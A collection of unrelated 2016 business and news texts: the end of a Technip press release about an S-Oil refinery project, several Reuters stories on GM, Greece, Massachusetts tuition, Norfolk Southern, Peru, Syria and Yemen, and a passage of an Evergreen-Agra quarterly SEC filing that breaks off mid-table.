(1) Engineering, procurement and construction contractor for the project.(2)Established in 1976, S-Oil has grown into one of the most competitive oil refiners in the Asia-Pacific region. The company operates an oil refinery facility with a capacity of 669,000 barrels per day, and other facilities that can produce petrochemicals and lube base oil in the Onsan Refinery in Ulsan.(3)HS-FCC was developed by an alliance comprising Saudi Aramco, JX Nippon Oil & Energy Corp, King Fahd University of Petroleum and Minerals; the technology is licensed by Technip Stone & Webster Processing Technology and Axens; this first unit was licensed by Axens.

Technip is a world leader in project management, engineering and construction for the energy industry.From the deepest Subsea oil & gas developments to the largest and most complex Offshore and Onshore infrastructures, our close to 34,400 people are constantly offering the best solutions and most innovative technologies to meet the worlds energy challenges.Present in 45 countries, Technip has state-of-the-art industrial assets on all continents and operates a fleet of specialized vessels for pipeline installation and subsea construction.Technip shares are listed on the Euronext Paris exchange, and its ADR is traded in the US on the OTCQX marketplace as an American Depositary Receipt (OTCQX: TKPPY).

More informationWebsite http://www.technip.com@TechnipGroup

View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006448/en/

Technip

Public Relations

Laure Montcel, Tel. +33 (0) 1 49 01 87 81

or

Delphine Nayral, Tel. +33 (0) 1 47 78 34 83

E-mail: [email protected]

or

Investor and Analyst Relations

Aurelia Baudey-Vignaud, Tel. +33 (0) 1 85 67 43 81

E-mail: [email protected]

or

Elodie Robbe-Mouillot, Tel. +33 (0) 1 85 67 43 86

E-mail: [email protected]

Source: Technip
General Motors Vice Chairman, interim President of GM Europe and Chairman of the Opel Supervisory Board Steve Girsky waves as he sits inside an Opel Adam car during the start of the car production in Eisenach January 10, 2013. REUTERS/Lisi Niesner

DETROIT (Reuters) - Steve Girsky, the one-time Wall Street analyst who was instrumental in the emergence of General Motors Co (NYSE: GM) from bankruptcy and the restructuring of the company after a 2009 government bailout, is retiring from the company's board of directors, GM said on Friday.

Girsky, 53, will not seek re-election to the GM board when the company holds its annual meeting in June, GM said in a statement.

Steve brought to the company expertise and skills in a variety of important areas at a critical time in GMs history," said Chief Executive Mary Barra.

GM also announced that Jane Mendillo, 57, retired president and CEO of Harvard Management Co, has been nominated to stand for election to the GM board.

Girsky joined the board in July 2009 as the company emerged from a U.S. and Canadian taxpayer bailout and bankruptcy.

He was a key advisor to GM's chief executives since before the 2009 bankruptcy.

Girsky led restructuring efforts at Opel, GM's primary brand in Europe, and pushed GM executives to embrace investments in digital technology and mobile internet connectivity that the company has now made central to its product strategy.

In addition to being a board member, Girsky was GM vice chairman from March 2010 to January 2014, heading up GM's global strategy during that time.

He was the chairman of the Adam Opel AG supervisory board as GM struggled to bring Opel back to profitability at a time when some of his former counterparts on Wall Street thought GM should try to sell the brand.

On Thursday, GM announced that it broke even in Europe on a pretax basis, reversing a loss of $200 million a year earlier, as the company also reported record first quarter pretax profit.

In the company's statement, Girsky said, There have been many milestones and accomplishments that Ive been proud to be a part of along the way, including GMs emergence from bankruptcy, improved UAW relationship, and the continued comeback of the European business."

The UAW is the United Auto Workers, the U.S. union that represents about 54,000 hourly GM workers.

Girsky is currently president of New York-based business consultancy S.J. Girsky & Co, a role he returned to in July 2014.

(Reporting by Bernie Woodall; Editing by Bill Trott)
Greek Finance Minister Euclid Tsakalotos (L) speaks during a news conference as Economy Minister George Stathakis looks on, at the ministry in Athens, Greece, April 12, 2016. REUTERS/Alkis Konstantinidis

By Lefteris Papadimas and Renee Maltezou

ATHENS (Reuters) - Greece and its international lenders have made progress in negotiations on economic reforms, a Greek government official said on Thursday, but a final accord needed to unlock badly needed bailout loans remained elusive.

Talks on pension reforms, tax hikes, privatizations and the management of bad loans resumed this week in Athens with the aim of reaching an agreement on the package before euro zone finance ministers meet in Amsterdam on Friday to assess the progress.

"There was significant convergence, more than in the past days," a Greek government official said, adding that this concerned especially pension reforms and bad loans.

The main sticking point in the talks, which have dragged on for months, concerns fiscal issues, as EU institutions and the International Monetary Fund differ on whether it can meet a primary surplus target equal to 3.5 percent of gross domestic product in 2018. A primary surplus excludes interest payments.

The IMF considers EU assumptions too optimistic and sees Athens achieving a 1.5 percent primary surplus in 2018, unless it receives debt relief and takes additional austerity measures.

To reach a compromise, the lenders have suggested that Athens adopt measures proposed by EU institutions now and agree to implement additional reforms, worth up to 2 percent of GDP, if it misses its 2018 bailout targets.

But adopting contingent measures would be a tough task for the left-led government, which has a thin parliamentary majority and needs to conclude the review in order to unlock bailout funds to pay maturing debt owed to the IMF and the European Central Bank in July.

Negotiations will probably resume after Friday's Eurogroup.

"A good sign will be if tomorrow's Eurogroup makes an announcement that there will be a second extraordinary (Eurogroup) meeting," the government official said.

DIVIDED

Due to their different growth and fiscal performance assumptions, international lenders also remain divided over whether Greece needs debt relief.

The IMF wants a compromise on this issue before concluding the review, while euro zone countries, and in particular Germany, want to first end the review and then start talking about possible debt relief for Athens.

The European Commission said on Thursday that Greece had a primary budget surplus last year, beating the target set in its bailout program.

Greece believes the positive data can help conclude the review, signaling a better 2016 performance and cementing its position that it can achieve its 2018 fiscal targets without being forced to legislate contingent measures now.

"Greece ... does not need extra measures. What Greece needs, is an essential debt relief," Prime Minister Alexis Tsipras told Euronews.

But the Commission announcement on Thursday may change little. "It is irrelevant because it had been fully discounted beforehand," one senior euro zone official said.

Complicating things further, Greece's court of auditors - an advisory body - said the planned pension reforms, which unify rules for public and private sector retirees and merges pension funds, were unconstitutional and not quantified.

Greek Labour Minister George Katrougkalos said the decision was probably "a misunderstanding" and that actuarial studies would be submited to parliament along with the bill this week.

(Additional reporting by Jan Strupczewski and Francesco Guarascio in Brussels; Editing by Gareth Jones)
By Marcus E. Howard

NEW YORK (Reuters) - Massachusetts on Thursday unveiled what state officials called the first initiative in the country to offer tuition rebates to full-time students who begin their studies at a community college and complete a bachelor's degree at a state university.

The program, called the Commonwealth Commitment, provides a 10 percent rebate on tuition and fees at the end of each completed semester, as long as students maintain a cumulative grade point average of 3.0 or higher.

It is open only to state residents and is estimated to provide an average savings of $5,090 on the cost of a four-year degree. Tuition and mandatory fees will be frozen at the rate at which participants enter the program, which will be phased in over a period of two academic years, beginning in September.

As part of the agreement, participants must complete a two-year, associate's degree at one of the state's 15 community colleges in 2-1/2 years or less and transfer to a state university to complete a bachelor's degree in no more than two years.

Additionally, participants must choose to study at least one of 24 majors offered, not including engineering and nursing due to their higher costs.

"This program was designed to decrease the cost of a college degree and accelerate on-time completion for students across the Commonwealth, creating more opportunities and helping more people get into the workforce with the skills they need," Governor Charlie Baker said in a statement.

Increased attention has been given to community colleges as more employers look to hire employees with a college education. President Barack Obama has pushed to make tuition free at community colleges across the country.

The high cost of college tuition has also emerged as an issue in the 2016 presidential race. In his bid for the Democratic nomination, Senator Bernie Sanders of neighboring Vermont has proposed making tuition free at public colleges and universities.

The colleges will pay for cost of the initiative, said Katy Abel, a spokeswoman for the state Department of Higher Education. However, the exact price is unknown because there is no estimate for how many students will participate, she said.

About 260,000 students, including non-state residents, attend the state's 15 community colleges, nine state universities and five campuses of the University of Massachusetts, according to the state.

(Reporting by Marcus E. Howard; Editing by David Gregorio)
Coal trains approach Norfolk Southern's Williamson rail yard in Williamson, West Virginia at the border of Pike County, Kentucky May 13, 2015. Picture taken May 13, 2015.

By Nick Carey

CHICAGO (Reuters) - The top executive of Norfolk Southern Corp (NYSE: NSC) said the railroad was on track to achieve its planned savings target of $200 million this year and that the No. 4 U.S. railroad could further trim capital spending if freight volumes remain weak.

"I think we're well on track and we're confident we can achieve those savings," Chief Executive James Squires told Reuters in a telephone interview on Friday.

Squires spoke to Reuters the day after the Norfolk, Virginia-based railroad posted a better-than-expected first-quarter net profit driven by cost savings.

Norfolk Southern had been under pressure following a hostile takeover bid from Canadian Pacific (NYSE: CP) last November to boost profitability and prove to investors it was a viable standalone entity. Canadian Pacific dropped its bid last week.

Investors reacted warmly to the company's first-quarter beat and its stock was up 10.4 percent at $91.20 in midday trading.

"Overall, we applaud the solid execution from management in anticipation of what could have escalated into a more serious conversation with shareholders regarding the overtures from CP," Nomura analyst Matt Troy wrote in a client note.

Squires said Norfolk Southern would have been "open to any and all strategic alternatives that will create value for our shareholders.

"The recent set of proposals (from CP) did not pass muster in terms of value or demonstrate a path through the regulatory process," he added. "Whether there might be another effort in the future, I just wouldnt want to speculate at this point."

Squires said cost savings throughout 2016 will be achieved through selling off, downgrading or idling 1,000 miles of track, plus further streamlining of its operations.

The company said after reporting earnings on Thursday it was cutting planned 2016 capital expenditures to $2 billion from $2.1 billion. Squires said if freight volumes continue to decline, further cuts could be made.

Like other major U.S. railroads, Norfolk Southern has been struggling with what industry executives describe as a "freight recession." Coal volumes in particular have plummeted as utilities have switched to burning cheaper natural gas and the strong U.S. dollar has hurt exports.

Squires said with coal stockpiles high, the company does not expect a rebound until 2017.

"We would not expect coal to resume its place in our top line at any point," he said. "What were looking for is a modest rebound off current levels based on normal weather patterns in the next few years."

(Reporting by Nick Carey; editing by Bernadette Baum and Dan Grebler)
Peru's presidential candidates Pedro Pablo Kuczynski (L) and Keiko Fujimori (R) shake hands with Peru's electoral board president Francisco Tavara during a meeting in Lima, Peru, April 18, 2016. REUTERS/Mariana Bazo

LIMA (Reuters) - Keiko Fujimori, the populist daughter of imprisoned ex-president Alberto Fujimori, and her rival Pedro Pablo Kuczynski were seen in a statistical dead-heat ahead of the June 5 presidential election, according to a poll by Datum.

Kuczynski, a former World Bank economist and prime minister, would win 41.1 percent of votes, compared to Fujimori's 40.4 percent, according to the Datum poll published in the local daily Gestion on Friday.

The survey was the third opinion poll in the past week to show Kuczynski's lead over Fujimori in the run-off race shrinking.

The two conservatives emerged as the top two candidates in a first-round election on April 10, defeating a leftist rival who had proposed changing the country's free-market economic model.

Fujimori has strong support in rural and poor districts but faces stiff opposition from Peruvians who loathe her father Alberto Fujimori, who is in prison for human rights violations and corruption committed during his 1990-2000 government.

Kuczynski is popular in urban and upper class districts but lacks strong backing outside of the capital Lima, home to about a third of the country's 30 million people.

Nearly 20 percent of Peruvians polled by Datum were either undecided or would cast blank or spoiled ballots. The survey of 1,200 people April 15 to 18 had a 2.8-point margin of error.

(Reporting By Mitra Taj; Editing by Nick Zieminski)
BEIRUT (Reuters) - Syria's prime minister and foreign minister on Thursday accused European and regional powers of supporting terrorists and fuelling fighting in the country, in a defiant tone from Damascus after a halt to peace talks this week.

Prime Minister Wael al-Halaki said Saudi Arabia, Qatar, Turkey, Britain and France did not want a political solution to the conflict.

"These regimes are working to escalate terrorist actions, support terrorists and destroy the cessation of hostilities agreement agreed by Russia and the United States," state news agency SANA quoted him as saying.

Foreign Minister Walid al-Moualem said earlier that states including Turkey continued to supply rebels in Syria with advanced weapons, and that the Syrian government would press on with its fight against terrorists.

The partial truce, brokered by Washington and Moscow in February, initially reduced violence in the west, but fighting has picked up again in recent weeks, leaving the ceasefire in tatters.

The statements from Damascus suggested it still felt it was in a position of strength, bolstered by a six-month-old Russian military intervention on President Bashar al-Assad's side.

A top adviser to Assad said that "dialogue, local agreements and destroying terrorism" were the way to ensure a political solution to the conflict.

"We are trying to exploit every possible opportunity for the success of the political solution to the Syrian crisis," Bouthaina Shaaban said.

(Reporting by John Davison and Omar Fahmy in Cairo; Editing by Dominic Evans)
Followers of the Houthi movement raise a poster of Yemen's former President Ali Abdullah Saleh against U.S. support to Saudi-led air strikes, in Yemen's capital Sanaa, in this February 19, 2016 file photo. REUTERS/Mohamed al-Sayaghi

By Mohammed Ghobari

KUWAIT (Reuters) - Talks aimed at ending Yemen's war opened in Kuwait on Thursday, with Kuwait's top diplomat appealing to both sides to "turn war into peace" after more than a year of conflict which has killed more than 6,200 people and caused a humanitarian crisis.

Yemen's foreign minister warned against high expectations from the U.N.-sponsored talks, which brought together the Houthi group and its General People's Congress party allies with the Saudi-backed government of President Abd-Rabbu Mansour Hadi.

The talks, originally scheduled to start on Monday, were delayed over accusations by the Houthi group of truce violations and disagreements over the agenda for the negotiations.

Kuwait's foreign minister Sheikh Sabah al-Khalid al-Sabah, in an opening speech at Bayan Palace, urged Yemenis to "turn war into peace and backwardness into development".

The talks are based on U.N. Security Council resolution 2216 which calls for the Houthis to withdraw from areas they seized since 2014 and hand heavy weapons back to the government, U.N. special envoy to Yemen Ismail Ould Cheikh Ahmed said.

"The choice today is one of two options: a safe homeland that ensures security for all of its citizens... or remnants of a land whose sons die everyday," Ould Cheikh Ahmed said in an opening speech.

The talks are expected to focus on creating a more inclusive government and restoring state authority over the country, which is now divided between the Houthis and Hadi's administration.

The war has caused a major humanitarian crisis in Yemen, the poorest country in the Arabian Peninsula. Apart from the more than 6,200 killed, the United Nations says some 35,000 people have been wounded and more than 2.5 million people displaced.

The fighting has also allowed the militant Al Qaeda in the Arabian Peninsula and Isalmic State to consolidate their presence in the country next door to the world's top oil exporter.

The United States and the Saudi-led coalition welcomed the start of the talks.

"We urge the parties to fully engage in good faith in order to end the military conflict immediately and to return to a peaceful political process," State Department spokesman John Kirby said in Washington.

The Saudi-led coalition spokesman, Brigadier-General Ahmed Asseri, speaking to Dubai-based al-Arabia Television, said: "Everybody knows that the way out in the end is political, and the issue will not end through military means, and the coalition has no desire to ... prolong the situation."

FIVE POINTS

Ould Cheikh Ahmed outlined five points which he said were derived from U.N. Security Council resolution 2216 as the basis for the talks, officially dubbed as "consultations".

These included withdrawal from cities seized by the Houthis since the crisis began in 2014, forming a more inclusive government and handing over heavy weapons to the new government.

The chief Houthi negotiator, Mohammed Abdul-Salam, registered his delegation's objections to what he said were continuing air strikes by the Saudi-led coalition and to the five-point agenda outlined by Ould Cheikh Ahmed, saying they were not clear enough.

The crisis began in September 2014 when the Iran-allied Houthis seized the capital Sanaa. A Saudi-led Arab alliance intervened last year, launching a campaign of mostly air strikes against the Houthis in support of Hadi's forces.

The Houthi group and the GPC had accused the Saudi-led coalition and Hadi supporters of failing to honor a truce that began on April 10, and refused to send their negotiators to Kuwait until the truce was consolidated.

They agreed to join the talks following intervention by the U.N. Security Council permanent members and U.N. Secretary-General Ban Ki-moon.

Yemeni Foreign Minister Abdel-Malek al-Mekhlafi, speaking before the talks, said the government delegation would do all it could to make the talks a success.

"The Houthis and Saleh's party, by refusing to arrive on the agreed time, and by putting a series of conditions and by saying they reserve the right to boycott sessions if their conditions are met -- all of these have lowered the ceiling of expectations," Mekhlafi told Reuters.

The meeting adjourned until Friday afternoon.

(Additional reporting by Mahmoud Harby in Kuwait, Mostafa Hashem in Cairo and Lesley Wroughton in Washington, writing by Sami Aboudi; editing by Dominic Evans and Richard Balmforth)
UNITED STATES

SECURITIES AND EXCHANGE COMMISSION

Washington, D.C. 20549

FORM 10-Q

x QUARTERLY REPORT PURSUANT TO SECTION 13 OR 15(D) OF THE SECURITIES EXCHANGE ACT OF 1934



For the quarterly period ended March 31, 2014

 TRANSITION REPORT UNDER SECTION 13 OR 15(D) OF THE SECURITIES EXCHANGE ACT OF 1934



Commission File Number: 000-53902

Evergreen-Agra, Inc. (Exact Name of Registrant as Specified in Its Charter)

Nevada 98-0460379 (State or Other Jurisdiction

of Incorporation or Organization) (I.R.S. Employer

Identification No.)

19800 MacArthur suite 300, Irvine CA, USA 92612

(Address of Principal Executive Offices & Zip Code)

604-764-7646

(Telephone Number)

N/A

(Former name, former address and former fiscal year, if changed since last report)

Securities registered pursuant to section 12(g) of the Act: Common Stock, $0.001 par value

Indicate by check mark whether the registrant (1) has filed all reports required to be filed by Section 13 or 15(d) of the Exchange Act of 1934 during the preceding 12 months (or for such shorter period that the registrant was required to file such reports), and (2) has been subject to such filing requirements for the past 90 days. Yes x No 

Indicate by check mark whether the registrant has submitted electronically and posted on its corporate Web site, if any, every Interactive Data File required to be submitted and posted pursuant to Rule 405 of Regulation S-T during the preceding 12 months (or for such shorter period that the registrant was required to submit and post such files). Yes x No

Indicate by check mark whether the registrant is a large accelerated filer, an accelerated filer, a non-accelerated filer, or a smaller reporting company. See the definitions of "large accelerated filer," "accelerated filer," "non-accelerated filer," and "smaller reporting company" in Rule 12b-2 of the Exchange Act.

Large accelerated filer  Accelerated filer  Non-accelerated filer  Smaller reporting company x (Do not check if a smaller reporting company)

Indicate by check mark whether the registrant is a shell company (as defined in Rule 12b-2 of the Exchange Act). Yes  No x

The registrant had 42,826,491 shares of common stock outstanding as of April, 15, 2016 .

Evergreen-Agra, Inc.



Quarterly Report On Form 10-Q

For The Quarterly Period Ended

March 31, 2014



INDEX

PART I  FINANCIAL INFORMATION Item 1. Financial Statements 4 Item 2. Management's Discussion and Analysis of Financial Condition and Results of Operations 16 Item 3. Quantitative and Qualitative Disclosures About Market Risk 17 Item 4. Controls and Procedures 17 PART II  OTHER INFORMATION Item 1. Legal Proceedings 18 Item 1A. Risk Factors 18 Item 2. Unregistered Sales of Equity Securities and Use of Proceeds 18 Item 3. Defaults Upon Senior Securities 18 Item 4. (Removed and Reserved) 18 Item 5. Other Information 18 Item 6. Exhibits 19

2

FORWARD-LOOKING STATEMENTS

This quarterly report on Form 10-Q contains forward-looking statements that involve risks and uncertainties. Forward-looking statements in this quarterly report include, among others, statements regarding our capital needs, business plans and expectations. Such forward-looking statements include, but are not limited to, statements with respect to the following:

 our need for additional financing;  the competitive environment in which we operate;  our dependence on key personnel;  conflicts of interest of our directors and officers;  our ability to fully implement our business plan;  our ability to effectively manage our growth; and  other regulatory, legislative and judicial developments.

Forward-looking statements are made, without limitation, in relation to operating plans, property exploration and development, availability of funds, environmental reclamation, operating costs and permit acquisition. Any statements contained herein that are not statements of historical facts may be deemed to be forward-looking statements. In some cases, you can identify forward-looking statements by terminology such as "may", "will", "should", "expect", "plan", "intend", "anticipate", "believe", "estimate", "predict", "potential" or "continue", the negative of such terms or other comparable terminology. Actual events or results may differ materially. In evaluating these statements, you should consider various factors, including the risks outlined in our annual report on Form 10-K for the year ended December 31, 2013, this quarterly report on Form 10-Q, and, from time to time, in other reports that we file with the Securities and Exchange Commission (the "SEC"). These factors may cause our actual results to differ materially from any forward-looking statement. Given these uncertainties, readers are cautioned not to place undue reliance on such forward-looking statements.



We caution readers not to place undue reliance on any such forward-looking statements, which speak only to a state of affairs as of the date made. We disclaim any obligation subsequently to revise any forward-looking statements to reflect events or circumstances after the date of such statements or to reflect the occurrence of anticipated or unanticipated events. We qualify all the forward-looking statements contained in this annual report by the foregoing cautionary statements.

3

PART I  FINANCIAL INFORMATION

Item 1. Financial Statements

The following unaudited interim financial statements of Evergreen-Agra, Inc. (sometimes referred to as "we", "us" or "our Company") are included in this quarterly report on Form 10-Q:

Page Balance Sheets 5 Statements of Operations 6 Statements of Cash Flows 7 Statement of Stockholders' Equity (Deficit) 8 Notes to the Financial Statements 9

4

Evergreen-Agra, Inc. (Formerly Sharprock Resources Inc.) Consolidated Balance Sheets

As of

March 31,

2014 As of

December 31,

2013 (Unaudited) Assets Current assets: Cash and cash equivalents $ - $ 4 Prepaid expense 82 82 Total current assets 82 86 Equipment, less accumulated depreciation of $2,450 and $2,250, respectively 2,050 2,250 Total Assets $ 2,132 $ 2,336 Liabilities and Stockholders' Deficit Current liabilities: Accounts payable $ 581,874 $ 588,797 Accounts payable - related parties 556,342 577,878 Total current liabilities and total liabilities 1,138,216 1,166,675 Stockholders' Equity (Deficit): Common Stock, $0.001 par value : 100,000,000 Common Shares Authorized; 41,622,802 and 41,422,802 Shares Issued and Outstanding, respectively 41,623 41,423 Additional paid-in capital (97,996 ) (185,796 ) Accumulated deficit (1,079,711 ) (1,019,966 ) Total stockholders' deficit (1,136,084 ) (1,164,339 ) Total liabilities and stockholders' deficit $ 2,132 $ 2,336

The accompanying notes are an integral part of these consolidated financial statements.

5

Evergreen-Agra, Inc. (Formerly Sharprock Resources Inc.) Consolidated Statements of Operations (Unaudited)

For the Three Months Ended

March 31,

2014 Revenue $ - Operating expenses: Stock-based compensation 88,000 General and administrative 4 Depreciation of equipment 200 Foreign exchange loss (gain) (28,459 ) Total operating expenses 59,745 Net Loss $ (59,745 ) Net loss per Common Share - Basic and Diluted $ (0.00 ) Weighted Average Number of Common Shares Outstanding - basic and diluted 41,509,467

The accompanying notes are an integral part of these consolidated financial statements.

6

Evergreen-Agra, Inc. (Formerly Sharprock Resources Inc.) Consolidated Statements of Cash Flows (Unaudited)

For the Three Months Ended

March 31,

2014 Cash Flows from Operating Activities Net (loss) $ (59,745 ) Adjustments to reconcile net loss to net cash used in operating activities: Stock-based compensation 88,000 Depreciation 200 Decrease in accounts payable (6,923 ) Decrease in accounts payable - related parties (21,536 ) Net cash used in operating activities (4 ) Net cash used in investing activities - Net cash provided by financing activities - Net Increase (decrease) in Cash (4 ) Cash and cash equivalents at beginning of period 4 Cash and cash equivalents at end of period $ - Supplemental Cash Flow Information: Income taxes paid $ - Interest paid $ -

The accompanying notes are an integral part of these consolidated financial statements.

7

Evergreen-Agra, Inc. (Formerly Sharprock Resources Inc.) Consolidated Statements of Stockholders' Equity For the Period August 15, 2013 (Inception) to December 31, 2013 and For the Three Months Ended March 31, 2014

Total Common Stock Additional Accumulated Stockholders' Number of Shares Amount Paid in Capital Deficit Equity Formation of Evergreen Systems by Rene Hamouth on August 15, 2013 20,000,000 $ 20,000 $ (19,000 ) $ - $ 1,000 Shares retained by stockholders of Evergreen-Agra, Inc. in connection with reverse acquisition of Evergreen Systems on November 19, 2013 822,802 823 (1,176,196 ) - (1,175,373 ) Shares issued to Harpreet Sangha on November 19, 2013 for future services to be rendered 19,600,000 19,600 960,400 - 980,000 - Shares issued to Richard Specht on November 19, 2013 for services rendered 1,000,000 1,000 49,000 - 50,000 Net loss for the period August 15, 2013 to December 31, 2013 - - - (1,019,966 ) (1,019,966 ) Balance - December 31, 2013 41,422,802 41,423 (185,796 ) (1,019,966 ) (1,164,339 ) Unaudited: Shares issued to Facundo L Bacardi for services 100,000 100 43,900 - 44,000 Shares issued to Adrian Towning for services 100,000 100 43,900 - 44,000 Net loss for the three months ended March 31, 2014 - - - (59,745 ) (59,745 ) Balance - March 31, 2014 41,622,802 $ 41,623 $ (97,996 ) $ (1,079,711 ) $ (1,136,084 )

The accompanying notes are an integral part of these consolidated financial statements.

8

EVERGREEN-AGRA, INC. (Formerly Sharprock Resources Inc.) Notes to Consolidated Financial Statements For the Three Months Ended March 31, 2014 (Unaudited) NOTE 1. NATURE OF OPERATIONS Description of Business and History Evergreen-Agra Inc. (hereinafter referred to as the "Company") was incorporated on June 13, 2008 by filing Articles of Incorporation under the Nevada Secretary of State. The Company was incorporated under the name AMF Capital Group, Inc. In June 2009, the Company changed its name to Blackrock Resources, Inc. In January 2010 the Company changed its name to Artepharm Global Corp. Effective July 20, 2011, the Company changed its name to Sharprock Resources Inc. Effective October 23, 2013 the Company changed its name to Evergreen-Agra, Inc. During the Company's quarter ended September 30, 2011, the Company shifted its focus from mineral exploration to organic veterinary medical products. In the quarter ended December 31, 2013, the Company shifted its focus to medical marijuana coincident with its acquisition of Evergreen Systems effective November 19, 2013. On November 19, 2013, pursuant to a letter of intent dated September 10, 2013, the Company issued 20,000,000 post-split shares of its common stock to Rene Hamouth in exchange for 100% ownership of Evergreen Systems ("ES") Except for conducting research on the medical marijuana industry, ES had no assets, liabilities, or business operations prior to the acquisition. At closing, the Company also issued 19,600,000 post-split shares of its common stock to Harpreet Sangha (then director and former chief executive officer of the Company from September 19, 2009 to September 1, 2013) for future services to be rendered and 1,000,000 post-split shares of its common stock to Richard Specht (secretary and director of the Company from September 1, 2013 to November 21, 2014) for services rendered. ES became a wholly owned subsidiary of the Company. The acquisition resulted in a change of control of the Company on November 19, 2013. The accompanying consolidated financial statements reflect the assets, liabilities and operations of Evergreen Systems from its inception on August 15, 2013 to November 19, 2013 and are consolidated with Evergreen-Agra, Inc. thereafter. Reverse Stock Split Effective October 23, 2013, the Company completed a 1 for 100 reverse stock split of its common stock resulting in the reduction of the issued and outstanding shares of common stock from 82,280,000 shares to 822,800 shares at October 23, 2013. The accompanying consolidated financial statements retroactively reflect this reverse stock split. NOTE 2. GOING CONCERN UNCERTAINTY The accompanying financial statements have been prepared assuming that the Company will continue as a going concern, which contemplates the realization of assets and the liquidation of liabilities in the normal course of business. At March 31, 2014, the Company had negative working capital of $1,138,134. Further, the Company has had no revenues from inception on August 15, 2013. These factors raise substantial doubt about the Company's ability to continue as a going concern. The financial statements do not include any adjustments that might result from this uncertainty. The future of the Company is dependent upon its ability to obtain financing and upon future profitable operations. Management has plans to seek additional capital through a private placement of its common stock. The financial statements do not include any adjustments relating to the recoverability and classification of recorded assets, or the amounts of and classification of liabilities that might be necessary in the event the Company cannot continue in existence. 9

NOTE 3. SUMMARY OF SIGNIFICANT ACCOUNTING POLICIES

Principles of Consolidation

The accompanying unaudited consolidated financial statements include the accounts of Evergreen-Agra, Inc. (from November 19, 2013 to March 31, 2014) and its wholly owned subsidiary ES (from inception on August 15, 2013 to March 31, 2014). All significant intercompany balances and transactions have been eliminated in consolidation

Basis of Presentation

The accompanying unaudited consolidated financial statements have been prepared in accordance with accounting principles generally accepted in the United States of America ("U.S. GAAP") and are expressed in U.S. dollars.

Use of Estimates

In preparing the unaudited consolidated financial statements in conformity with U.S. GAAP, management makes estimates and assumptions that affect the reported amounts of assets and liabilities and disclosures of contingent assets and liabilities at the dates of the unaudited consolidated financial statements, as well as the reported amounts of revenues and expenses during the reporting periods. Actual results could differ from those estimates.

Cash and Cash Equivalents

The Company considers all highly liquid instruments with original maturities of three months or less when acquired, to be cash equivalents. We had no cash equivalents at December 31, 2013 and March 31, 2014.

Equipment

Equipment is stated at historical cost less accumulated depreciation. Depreciation is provided using the straight-line method over the estimated useful lives of the assets, generally ranging from three to five years.

Stock-Based Compensation

Stock-based compensation is accounted for at estimated fair value in accordance with Accounting Standards Codification 718, "Compensation  Stock Compensation."

Income Taxes

The Company accounts for income taxes under the provisions issued by the FASB which requires recognition of deferred tax liabilities and assets for the expected future tax consequences of events that have been included in the consolidated financial statements or tax returns. Under this method, deferred tax liabilities and assets are determined based on the difference between the financial statements and tax bases of assets and liabilities using enacted tax rates in effect for the year in which the differences are expected to reverse. The Company computes tax assets benefits for net operating losses carried forward. The potential benefit of net operating losses has not been recognized in these consolidated financial statements because the Company cannot be assured it is more likely than not it will utilize the net operating losses carried forward in future years. 10

Loss Per Common Share

The Company reports net loss per share in accordance with provisions of the FASB. The provisions require dual presentation of basic and diluted loss per share. Basic net loss per share excludes the impact of common stock equivalents. Diluted net loss per share utilizes the average market price per share when applying the treasury stock method in determining common stock equivalents. For the periods presented, there were no common stock equivalents outstanding.

Fair Value of Financial Instruments

Pursuant to ASC No. 820, "Fair Value Measurements and Disclosures", the Company is required to estimate the fair value of all financial instruments included on its balance sheet as of December 31, 2013 and March 31, 2014. The Company's financial instruments consist of cash and accounts payable. The Company considers the carrying value of such amounts in the financial statements to approximate their fair value due to the short-term nature of these financial instruments.

Recent Accounting Pronouncements

In June 2014, the FASB issued ASU 2014-10, "Development Stage Entities (Topic 915): Elimination of Certain Financial Reporting Requirements, including an Amendment to Variable Interest Entities Guidance in Topic 810, Consolidation" ("ASU 2014-10"). ASU 2014-10 removes the financial reporting distinction between development stage entities and other reporting entities and eliminates the requirements for development stage entities to (1) present inception -to-date information in the statements of income, cash flows, and shareholder equity, (2) label the financial statements as those of a development stage entity, (3) disclose a description of the development stage activities in which the entity is engaged, and (4) disclose in the first year in which the entity is no longer a development stage entity that in prior years it had been in the development stage. The Company was required to adopt this new standard on a retrospective basis for the year ended December 31, 2015 and interim periods therein; however, early application was permitted. The Company has elected to adopt the new reporting standard for financial statements filed commencing with Form 10-K for the year ended December 31, 2013. Other than simplifying the presentation of the Company's financial statements and needed disclosures, the adoption of ASU 2014-10 has not affected the Company's financial statements.

NOTE 4  ACQUISITION OF EVERGREEN SYSTEMS

Effective November 19, 2013, the Company acquired 100% ownership of Evergreen Systems ("ES") in exchange for 20,000,000 newly issued shares of the Company's common stock (See Note 1). The transaction has been accounted for as a "reverse acquisition" in the accompanying consolidated financial statements, The financial position and results of operations of the Company prior to November 19, 2013 have been excluded from the accompanying consolidated financial statements.

The estimated fair values of the identifiable net assets of the Company at November 19, 2013 (effective date of the reverse acquisition) consisted of:

Cash and cash equivalents $ 4 Prepaid expense 82 Equipment, net 2,466 Total Assets 2,552 Accounts payable 590,852 Accounts payable - related parties 587,073 Total liabilities 1,177,925 Identifiable Net Assets $ (1,175,373 )

11

The following pro forma information summarizes the results of operations for the period indicated as if the acquisition occurred on January 1, 2013. The pro forma information is not necessarily indicative of the results that would have been reported had the transaction actually occurred on January 1, 2013, nor is it intended to project results of operations for any future period.

Three Months Ended

March 31,

2013 Revenue $ - Operating Expenses 123,715 Net Loss $ (123,715 ) Net Loss per Common Share - basic and diluted $ (0.01 ) Weighted Average Number of Common Shares Outstanding - basic and diluted 20,422,802

NOTE 5. ACCOUNTS PAYABLE

Accounts payable at March 31, 2014 and December 31, 2013 consists of:

March 31,

2014 December 31,

2013 (Unaudited) Former law firms $ 502,502 $ 507,840 Former audit firms 7,625 7,625 Other service providers 71,747 73,332 Total $ 581,874 $ 588,797

The above accounts payable represent amounts primarily recorded in the records of Evergreen-Agra, Inc. (formerly Sharprock Resources, Inc.) prior to the reverse acquisition of Evergreen Systems on November 19, 2013. Current management of the Company disputes these recorded liabilities. 12

NOTE 6. ACCOUNTS PAYABLE  RELATED PARTIES

Accounts payable  related parties at March 31, 2014 and December 31, 2013 consists of:

March 31,

2014 December 31,

